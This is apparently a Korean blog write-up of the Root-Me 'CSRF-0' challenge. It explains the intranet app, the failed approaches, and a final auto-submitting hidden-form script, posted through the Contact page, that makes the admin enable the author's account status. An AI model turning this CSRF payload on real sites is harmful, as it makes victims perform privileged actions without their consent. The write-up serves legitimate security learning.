War_Game

root_me: CSRF-0

Sono Hacking Study 2024. 9. 25. 20:51

1. 문제 설명

인터넷의 비공개 영역에 액세스하려면 계정을 활성화하세요.

 

회원가입, 로그인, Profile, Private 등의 기능이 구현되어있다.

Private 페이지와 Profile에서 admin이 아니라는 이유로 일반 유저(나)의 접근을 막고있다.

Private 페이지. admin이 승인할 때 까지 기다리라고 함
Profile 페이지. admin이 아니라고 거부함

 

 

그리고 Contact... admin과 접촉할 수 있는 페이지가 보인다.

Contact 부분에서 xss 공격이 가능한지 코드를 작성해봤다. 하지만 아무 일도 일어나지 않았다. 아마 admin 쪽에서 확인하는 것이라 그런듯

 

csrf에 관련된 문제이니 csrf 공격을 사용하여 flag를 얻어야 한다.

"인터넷의 비공개 영역에 엑세스하려면 계정을 활성화하세요"라고 하니 admin의 계정의 탈취하면 되는 것 같다.

Register 등록 이후 Login을 하면 아래와 같은 경고 문구가 뜬다. 따라서 admin도 로그인을 하면 아래 문구가 뜰 것이다. 


2. 문제 풀이

1) admin 계정 탈취-cookie & session : 실패

로그인을 하면 비밀번호가 유출되기 때문에, 일단 cookie 값에서 얻을만한 것이 있나 확인해봤다.

http://challenge01.root-me.org = 문제 환경

 

문제 환경이 https가 아닌 http 프로토콜을 사용해서 비밀번호가 유출된다는 경고 문구가 뜨는 것 같다.

Domain이 문제 환경(challenge0)인 것이 한개 있다. 하지만 아직 저게 의미하는게 뭔지 모르겠다.

 

 

 

2) admin 계정 탈취-Contact에서 스크립트 공격 : 실패

Contact 부분을 살펴보자.

내가 어떤 내용을 작성하면, 나중에 admin이 보는 구조인 것 같다.

내가 작성한 메시지가 게시되었고, admin이 나중에 컨택한다고 한다.

 

취약한 환경에서 admin이 내가 쓴 글을 읽게된다? 뭔가 csrf공격을 하기에 좋은 환경같다.

Contact 부분에 csrf 공격 스크립트를 작성해서 admin의 정보를 탈취하면 될 것 같다.

 

그러면 어떻게 공격 스크립트를 작성해야할까? 일단 첫 번째 아이디어는 다음과 같다.

admin이 Contact를 통해 공격 스크립트를 읽게 된다 -> admin을 로그인 페이지로 이동시켜 (Username=admin, Password=?) Password 입력하도록 시킨다(여기가 의문) -> admin이 입력한 passwd를 알아내 admin 계정으로 로그인한다.

<img scr="http://challenge01.root-me.org/web-client/ch22/index.php?action=login">

 

 

 

3) 라이트업 참고 ( 보안맨 (tistory.com) )

Profile에서 admin이 아니면 Status에 체크 표시가 안된다. admin이 Status를 활성화 시켜야 내 계정이 승인되는 것 같다.

해당 부분의 코드를 살펴보면...

<html>
<head>
<title>Intranet</title>
</head>
<body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=externe_header'></iframe>
<a href="?action=contact">Contact</a> | <a href="?action=profile">Profile</a> | <a href="?action=private">Private</a> | <a href="?action=logout">Logout</a><hr>
<br><br><div>
		<fieldset><legend>Update Profile</legend>
		<form action="?action=profile" method="post" enctype="multipart/form-data">
		<div class="form-group">
		<label>Username:</label>
		<input type="text" name="username" value="dodo">
		</div>
		<br>		
		<div class="form-group">
		<label>Status:</label>
		<input type="checkbox" name="status" disabled >
		</div>
		<br>	
		<button type="submit">Submit</button>
		</form></fieldset>
		</div>
</body>
</html>
<input type="checkbox" name="status" disabled >

체크박스 부분이 disabled 처리되어있다. 체크가 가능하도록 하기 위해서는 disabled 부분이 selected로 설정되어있어야 한다.

 

<form> 태그는, 정보를 제출하기 위한 대화형 컨트롤을 포함하는 문서 구획을 나타낸다. 데이터들을 전달받아 서버 혹은 다른 페이지에 전달해준다. 

우리는 <form> 태그로 감싸진 부분을 사용해서 admin에게 보낼 공격 스크립트를 작성할 것이다.

공격자가 우리가 보낸 메시지를 보는 즉시 Status 버튼이 활성화 되도록 코드를 작성한다.

 

정리하자면 1) admin에게 Contact를 통해 공격 스크립트를 보낸다 -> 2) 메일 내용을 admin이 읽는 즉시 내 계정의 status를 on 시키도록 한다 

<form id="autosubmit" action="http://challenge01.root-me.org/web-client/ch22/?action=profile" method="post" enctype="multipart/form-data">
<input type="hidden" name="username" value="dodo">
<input type="hidden" name="status" value="on" >
</form>
<script>
 document.getElementById("autosubmit").submit();
</script>

-> id="autosubmit"

-> action="http://challenge01.root-me.org/web-client/ch22/?action=profile" : 쿼리스트링을 통해 profile 페이지로

-> method="post" 

-> enctype="multipart/form-data" (Profile 페이지에 있는 부분)

->  document.getElementById("autosubmit").submit();

'War_Game' 카테고리의 다른 글

Dreamhack: simple_sqli_chatgpt  (1) 2024.10.01
Lord of Injection: germiln  (0) 2024.10.01